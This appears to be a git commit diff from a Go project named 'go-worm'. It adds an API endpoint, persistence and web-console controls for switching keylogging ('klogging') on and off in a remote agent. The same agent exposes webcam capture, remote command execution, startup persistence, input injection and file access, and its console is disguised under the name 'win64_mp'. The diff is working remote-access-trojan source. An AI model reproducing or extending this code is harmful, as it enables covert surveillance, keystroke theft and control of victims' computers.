feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/settings", a.handleSettings)
|
||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
|
||||
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||
"agent_version": config.Version, "listen_address": a.addr,
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"klogging": keylog.Running(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
case http.MethodPut:
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var body struct {
|
||||
Klogging *bool `json:"klogging"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
|
||||
return
|
||||
}
|
||||
if err := keylog.SetEnabled(*body.Klogging); err != nil {
|
||||
helpers.Log.Printf("klogging set: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"embed"
|
||||
"net/http"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
@@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
|
||||
return
|
||||
}
|
||||
if name == "web/index.html" {
|
||||
data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version))
|
||||
}
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
_, _ = w.Write(data)
|
||||
|
||||
@@ -15,6 +15,9 @@
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
const keylogState = document.getElementById("keylog-state");
|
||||
const keylogEnable = document.getElementById("keylog-enable");
|
||||
const keylogDisable = document.getElementById("keylog-disable");
|
||||
const videoCanvas = document.getElementById("video-canvas");
|
||||
const videoMeta = document.getElementById("video-meta");
|
||||
const videoStart = document.getElementById("video-start");
|
||||
@@ -118,6 +121,10 @@
|
||||
async function loadStatus() {
|
||||
const res = await api("/api/v1/status");
|
||||
const data = await res.json();
|
||||
const verEl = document.getElementById("app-version");
|
||||
if (verEl && data.agent_version) {
|
||||
verEl.textContent = data.agent_version;
|
||||
}
|
||||
const fields = [
|
||||
["Hostname", data.hostname],
|
||||
["User", data.user],
|
||||
@@ -128,10 +135,12 @@
|
||||
["Uptime", `${data.uptime_seconds}s`],
|
||||
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||
["klogging", data.klogging ? "on" : "off"],
|
||||
];
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
currentListen = data.listen_address || "";
|
||||
syncUpdateMeta();
|
||||
loadSettings().catch((err) => showError(err.message));
|
||||
statusFields.replaceChildren(
|
||||
...fields.map(([label, value]) => {
|
||||
const item = document.createElement("div");
|
||||
@@ -303,6 +312,29 @@
|
||||
startupRemove.disabled = !enabled;
|
||||
}
|
||||
|
||||
function setKeylog(enabled) {
|
||||
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
||||
keylogEnable.disabled = enabled;
|
||||
keylogDisable.disabled = !enabled;
|
||||
}
|
||||
|
||||
async function loadSettings() {
|
||||
const res = await api("/api/v1/settings");
|
||||
const data = await res.json();
|
||||
setKeylog(Boolean(data.klogging));
|
||||
}
|
||||
|
||||
async function setKeylogEnabled(enabled) {
|
||||
const res = await api("/api/v1/settings", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ klogging: enabled }),
|
||||
});
|
||||
const data = await res.json();
|
||||
setKeylog(Boolean(data.klogging));
|
||||
loadStatus().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
async function setStartupEnabled(enabled) {
|
||||
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||
const data = await res.json();
|
||||
@@ -682,6 +714,9 @@
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
if (button.dataset.tab === "settings") {
|
||||
loadSettings().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -694,6 +729,12 @@
|
||||
startupRemove.addEventListener("click", () => {
|
||||
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
keylogEnable.addEventListener("click", () => {
|
||||
setKeylogEnabled(true).catch((err) => showError(err.message));
|
||||
});
|
||||
keylogDisable.addEventListener("click", () => {
|
||||
setKeylogEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("file-list").addEventListener("click", () => {
|
||||
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
@@ -122,6 +122,14 @@
|
||||
font-size: 1.05rem;
|
||||
line-height: 1.2;
|
||||
}
|
||||
.brand-text .ver {
|
||||
margin-left: 0.45rem;
|
||||
font-size: 0.78rem;
|
||||
font-weight: 500;
|
||||
font-family: var(--mono);
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0;
|
||||
}
|
||||
.brand-text p {
|
||||
margin-top: 0.1rem;
|
||||
font-size: 0.78rem;
|
||||
@@ -711,7 +719,7 @@
|
||||
</svg>
|
||||
</div>
|
||||
<div class="brand-text">
|
||||
<h1>win64_mp</h1>
|
||||
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
|
||||
<p>Local agent console</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -728,6 +736,7 @@
|
||||
<button data-tab="webcam" type="button">Webcam</button>
|
||||
<button data-tab="exec" type="button">Command</button>
|
||||
<button data-tab="update" type="button">Update</button>
|
||||
<button data-tab="settings" type="button">Settings</button>
|
||||
<button data-tab="logs" type="button">Logs</button>
|
||||
</nav>
|
||||
|
||||
@@ -909,6 +918,21 @@
|
||||
<p id="update-result" class="meta"></p>
|
||||
</section>
|
||||
|
||||
<section id="settings" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Settings</h2>
|
||||
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="startup-card">
|
||||
<span id="keylog-state" class="meta">klogging: —</span>
|
||||
<button id="keylog-enable" type="button">Enable</button>
|
||||
<button id="keylog-disable" class="danger" type="button">Disable</button>
|
||||
</div>
|
||||
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
|
||||
</section>
|
||||
|
||||
<section id="logs" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
|
||||
Reference in New Issue
Block a user